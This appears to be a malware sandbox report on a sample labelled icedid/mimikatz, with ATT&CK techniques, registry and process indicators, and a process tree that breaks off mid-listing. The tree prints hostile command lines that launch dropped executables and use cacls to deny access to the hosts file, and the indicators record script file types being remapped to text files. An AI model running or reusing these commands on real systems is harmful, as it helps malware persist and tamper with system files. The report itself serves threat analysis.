Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

net.exenet.exe2024-11-09_c446e3c4086cb19a9618b5872a538509_hacktools_icedid_mimikatz.execmd.execmd.execmd.execmd.execmd.exegykgue.exenetsh.execacls.execacls.exenetsh.exenet.exenet1.execmd.exesc.execmd.exenetsh.exenetsh.exenet1.execmd.exenet.exenet1.exenet1.exenetsh.execmd.exeigadlieeu.execmd.exenetsh.execmd.execmd.exenet1.exenetsh.exenetsh.exenetsh.exenet.execmd.execmd.exeschtasks.exenetsh.exenetsh.execmd.exePING.EXEzghnuwi.execmd.exenetsh.exenet1.exenet.execmd.exesc.exehqnaebagm.execmd.exexohudmc.execmd.execmd.exenet.exenetsh.exenetsh.exenetsh.execmd.execmd.execmd.exenet.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-11-09_c446e3c4086cb19a9618b5872a538509_hacktools_icedid_mimikatz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gykgue.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	igadlieeu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zghnuwi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hqnaebagm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xohudmc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
discovery

Internet Connection Discovery
T1016.001

Processes:

cmd.exePING.EXE

pid process

2788 cmd.exe
2832 PING.EXE

pid	process
2788	cmd.exe
2832	PING.EXE

NSIS installer 3 IoCs

installer

Processes:

resource	yara_rule
C:\Windows\uqrutnuy\zghnuwi.exe	nsis_installer_2
C:\Windows\bliinatya\rtbnheisb\wpcap.exe	nsis_installer_1
C:\Windows\bliinatya\rtbnheisb\wpcap.exe	nsis_installer_2

Modifies data under HKEY_USERS 45 IoCs

Processes:

eqelmsiua.exeeqelmsiua.exezghnuwi.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eqelmsiua.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eqelmsiua.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	zghnuwi.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	zghnuwi.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eqelmsiua.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eqelmsiua.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eqelmsiua.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eqelmsiua.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	zghnuwi.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	zghnuwi.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	zghnuwi.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eqelmsiua.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eqelmsiua.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eqelmsiua.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eqelmsiua.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	zghnuwi.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eqelmsiua.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eqelmsiua.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eqelmsiua.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eqelmsiua.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eqelmsiua.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eqelmsiua.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eqelmsiua.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eqelmsiua.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals	eqelmsiua.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eqelmsiua.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eqelmsiua.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eqelmsiua.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eqelmsiua.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eqelmsiua.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eqelmsiua.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eqelmsiua.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	eqelmsiua.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eqelmsiua.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eqelmsiua.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eqelmsiua.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eqelmsiua.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eqelmsiua.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eqelmsiua.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eqelmsiua.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eqelmsiua.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	eqelmsiua.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eqelmsiua.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eqelmsiua.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eqelmsiua.exe

Modifies registry class 14 IoCs

Processes:

zghnuwi.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	zghnuwi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	zghnuwi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	zghnuwi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	zghnuwi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	zghnuwi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	zghnuwi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	zghnuwi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	zghnuwi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	zghnuwi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	zghnuwi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	zghnuwi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	zghnuwi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	zghnuwi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	zghnuwi.exe

Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2832 PING.EXE
Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid process

1744 schtasks.exe
3408 schtasks.exe
5080 schtasks.exe

pid	process
2832	PING.EXE

pid	process
1744	schtasks.exe
3408	schtasks.exe
5080	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

zghnuwi.exe

pid	process
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe

Suspicious behavior: LoadsDriver 15 IoCs

Processes:

pid process

656
656
656
656
656
656
656
656
656
656
656
656
656
656
656
Suspicious behavior: RenamesItself 1 IoCs

Processes:

2024-11-09_c446e3c4086cb19a9618b5872a538509_hacktools_icedid_mimikatz.exe

pid process

1940 2024-11-09_c446e3c4086cb19a9618b5872a538509_hacktools_icedid_mimikatz.exe

pid	process
656
656
656
656
656
656
656
656
656
656
656
656
656
656
656

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

2024-11-09_c446e3c4086cb19a9618b5872a538509_hacktools_icedid_mimikatz.exezghnuwi.exezghnuwi.exevfshost.exeeqelmsiua.exeindtey.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exe

description	pid	process
Token: SeDebugPrivilege	1940	2024-11-09_c446e3c4086cb19a9618b5872a538509_hacktools_icedid_mimikatz.exe
Token: SeDebugPrivilege	1452	zghnuwi.exe
Token: SeDebugPrivilege	2800	zghnuwi.exe
Token: SeDebugPrivilege	4760	vfshost.exe
Token: SeDebugPrivilege	2228	eqelmsiua.exe
Token: SeLockMemoryPrivilege	3852	indtey.exe
Token: SeLockMemoryPrivilege	3852	indtey.exe
Token: SeDebugPrivilege	5012	eqelmsiua.exe
Token: SeDebugPrivilege	4364	eqelmsiua.exe
Token: SeDebugPrivilege	1528	eqelmsiua.exe
Token: SeDebugPrivilege	920	eqelmsiua.exe
Token: SeDebugPrivilege	3168	eqelmsiua.exe
Token: SeDebugPrivilege	4988	eqelmsiua.exe
Token: SeDebugPrivilege	3940	eqelmsiua.exe
Token: SeDebugPrivilege	3944	eqelmsiua.exe
Token: SeDebugPrivilege	4548	eqelmsiua.exe
Token: SeDebugPrivilege	4360	eqelmsiua.exe
Token: SeDebugPrivilege	2948	eqelmsiua.exe
Token: SeDebugPrivilege	2816	eqelmsiua.exe
Token: SeDebugPrivilege	2040	eqelmsiua.exe
Token: SeDebugPrivilege	2656	eqelmsiua.exe
Token: SeDebugPrivilege	4672	eqelmsiua.exe
Token: SeDebugPrivilege	2696	eqelmsiua.exe
Token: SeDebugPrivilege	4004	eqelmsiua.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

2024-11-09_c446e3c4086cb19a9618b5872a538509_hacktools_icedid_mimikatz.exezghnuwi.exezghnuwi.exexohudmc.exegykgue.exezghnuwi.exezghnuwi.exe

pid	process
1940	2024-11-09_c446e3c4086cb19a9618b5872a538509_hacktools_icedid_mimikatz.exe
1940	2024-11-09_c446e3c4086cb19a9618b5872a538509_hacktools_icedid_mimikatz.exe
1452	zghnuwi.exe
1452	zghnuwi.exe
2800	zghnuwi.exe
2800	zghnuwi.exe
4456	xohudmc.exe
764	gykgue.exe
3228	zghnuwi.exe
3228	zghnuwi.exe
5780	zghnuwi.exe
5780	zghnuwi.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

2024-11-09_c446e3c4086cb19a9618b5872a538509_hacktools_icedid_mimikatz.execmd.exezghnuwi.execmd.execmd.exewpcap.exenet.exenet.exenet.exe

description	pid	process	target process
PID 1940 wrote to memory of 2788	1940	2024-11-09_c446e3c4086cb19a9618b5872a538509_hacktools_icedid_mimikatz.exe	cmd.exe
PID 1940 wrote to memory of 2788	1940	2024-11-09_c446e3c4086cb19a9618b5872a538509_hacktools_icedid_mimikatz.exe	cmd.exe
PID 1940 wrote to memory of 2788	1940	2024-11-09_c446e3c4086cb19a9618b5872a538509_hacktools_icedid_mimikatz.exe	cmd.exe
PID 2788 wrote to memory of 2832	2788	cmd.exe	PING.EXE
PID 2788 wrote to memory of 2832	2788	cmd.exe	PING.EXE
PID 2788 wrote to memory of 2832	2788	cmd.exe	PING.EXE
PID 2788 wrote to memory of 1452	2788	cmd.exe	zghnuwi.exe
PID 2788 wrote to memory of 1452	2788	cmd.exe	zghnuwi.exe
PID 2788 wrote to memory of 1452	2788	cmd.exe	zghnuwi.exe
PID 2800 wrote to memory of 2168	2800	zghnuwi.exe	cmd.exe
PID 2800 wrote to memory of 2168	2800	zghnuwi.exe	cmd.exe
PID 2800 wrote to memory of 2168	2800	zghnuwi.exe	cmd.exe
PID 2168 wrote to memory of 2632	2168	cmd.exe	cmd.exe
PID 2168 wrote to memory of 2632	2168	cmd.exe	cmd.exe
PID 2168 wrote to memory of 2632	2168	cmd.exe	cmd.exe
PID 2168 wrote to memory of 1828	2168	cmd.exe	cacls.exe
PID 2168 wrote to memory of 1828	2168	cmd.exe	cacls.exe
PID 2168 wrote to memory of 1828	2168	cmd.exe	cacls.exe
PID 2168 wrote to memory of 1388	2168	cmd.exe	cmd.exe
PID 2168 wrote to memory of 1388	2168	cmd.exe	cmd.exe
PID 2168 wrote to memory of 1388	2168	cmd.exe	cmd.exe
PID 2168 wrote to memory of 2164	2168	cmd.exe	cacls.exe
PID 2168 wrote to memory of 2164	2168	cmd.exe	cacls.exe
PID 2168 wrote to memory of 2164	2168	cmd.exe	cacls.exe
PID 2168 wrote to memory of 752	2168	cmd.exe	cmd.exe
PID 2168 wrote to memory of 752	2168	cmd.exe	cmd.exe
PID 2168 wrote to memory of 752	2168	cmd.exe	cmd.exe
PID 2168 wrote to memory of 808	2168	cmd.exe	cacls.exe
PID 2168 wrote to memory of 808	2168	cmd.exe	cacls.exe
PID 2168 wrote to memory of 808	2168	cmd.exe	cacls.exe
PID 2800 wrote to memory of 3360	2800	zghnuwi.exe	netsh.exe
PID 2800 wrote to memory of 3360	2800	zghnuwi.exe	netsh.exe
PID 2800 wrote to memory of 3360	2800	zghnuwi.exe	netsh.exe
PID 2800 wrote to memory of 676	2800	zghnuwi.exe	netsh.exe
PID 2800 wrote to memory of 676	2800	zghnuwi.exe	netsh.exe
PID 2800 wrote to memory of 676	2800	zghnuwi.exe	netsh.exe
PID 2800 wrote to memory of 2720	2800	zghnuwi.exe	netsh.exe
PID 2800 wrote to memory of 2720	2800	zghnuwi.exe	netsh.exe
PID 2800 wrote to memory of 2720	2800	zghnuwi.exe	netsh.exe
PID 2800 wrote to memory of 2040	2800	zghnuwi.exe	cmd.exe
PID 2800 wrote to memory of 2040	2800	zghnuwi.exe	cmd.exe
PID 2800 wrote to memory of 2040	2800	zghnuwi.exe	cmd.exe
PID 2040 wrote to memory of 1896	2040	cmd.exe	wpcap.exe
PID 2040 wrote to memory of 1896	2040	cmd.exe	wpcap.exe
PID 2040 wrote to memory of 1896	2040	cmd.exe	wpcap.exe
PID 1896 wrote to memory of 3492	1896	wpcap.exe	net.exe
PID 1896 wrote to memory of 3492	1896	wpcap.exe	net.exe
PID 1896 wrote to memory of 3492	1896	wpcap.exe	net.exe
PID 3492 wrote to memory of 1512	3492	net.exe	net1.exe
PID 3492 wrote to memory of 1512	3492	net.exe	net1.exe
PID 3492 wrote to memory of 1512	3492	net.exe	net1.exe
PID 1896 wrote to memory of 4392	1896	wpcap.exe	net.exe
PID 1896 wrote to memory of 4392	1896	wpcap.exe	net.exe
PID 1896 wrote to memory of 4392	1896	wpcap.exe	net.exe
PID 4392 wrote to memory of 1220	4392	net.exe	net1.exe
PID 4392 wrote to memory of 1220	4392	net.exe	net1.exe
PID 4392 wrote to memory of 1220	4392	net.exe	net1.exe
PID 1896 wrote to memory of 400	1896	wpcap.exe	net.exe
PID 1896 wrote to memory of 400	1896	wpcap.exe	net.exe
PID 1896 wrote to memory of 400	1896	wpcap.exe	net.exe
PID 400 wrote to memory of 764	400	net.exe	net1.exe
PID 400 wrote to memory of 764	400	net.exe	net1.exe
PID 400 wrote to memory of 764	400	net.exe	net1.exe
PID 1896 wrote to memory of 1340	1896	wpcap.exe	net.exe

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1468
- C:\Windows\TEMP\vuctsdlau\indtey.exe
  "C:\Windows\TEMP\vuctsdlau\indtey.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3852

C:\Users\Admin\AppData\Local\Temp\2024-11-09_c446e3c4086cb19a9618b5872a538509_hacktools_icedid_mimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\2024-11-09_c446e3c4086cb19a9618b5872a538509_hacktools_icedid_mimikatz.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1940
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\uqrutnuy\zghnuwi.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2788
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2832
- - C:\Windows\uqrutnuy\zghnuwi.exe
    C:\Windows\uqrutnuy\zghnuwi.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:1452

C:\Windows\uqrutnuy\zghnuwi.exe
C:\Windows\uqrutnuy\zghnuwi.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2800
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2168
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2632
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1828
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1388
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    PID:2164
- - C:\Windows\SysWOW64\cmd.exe
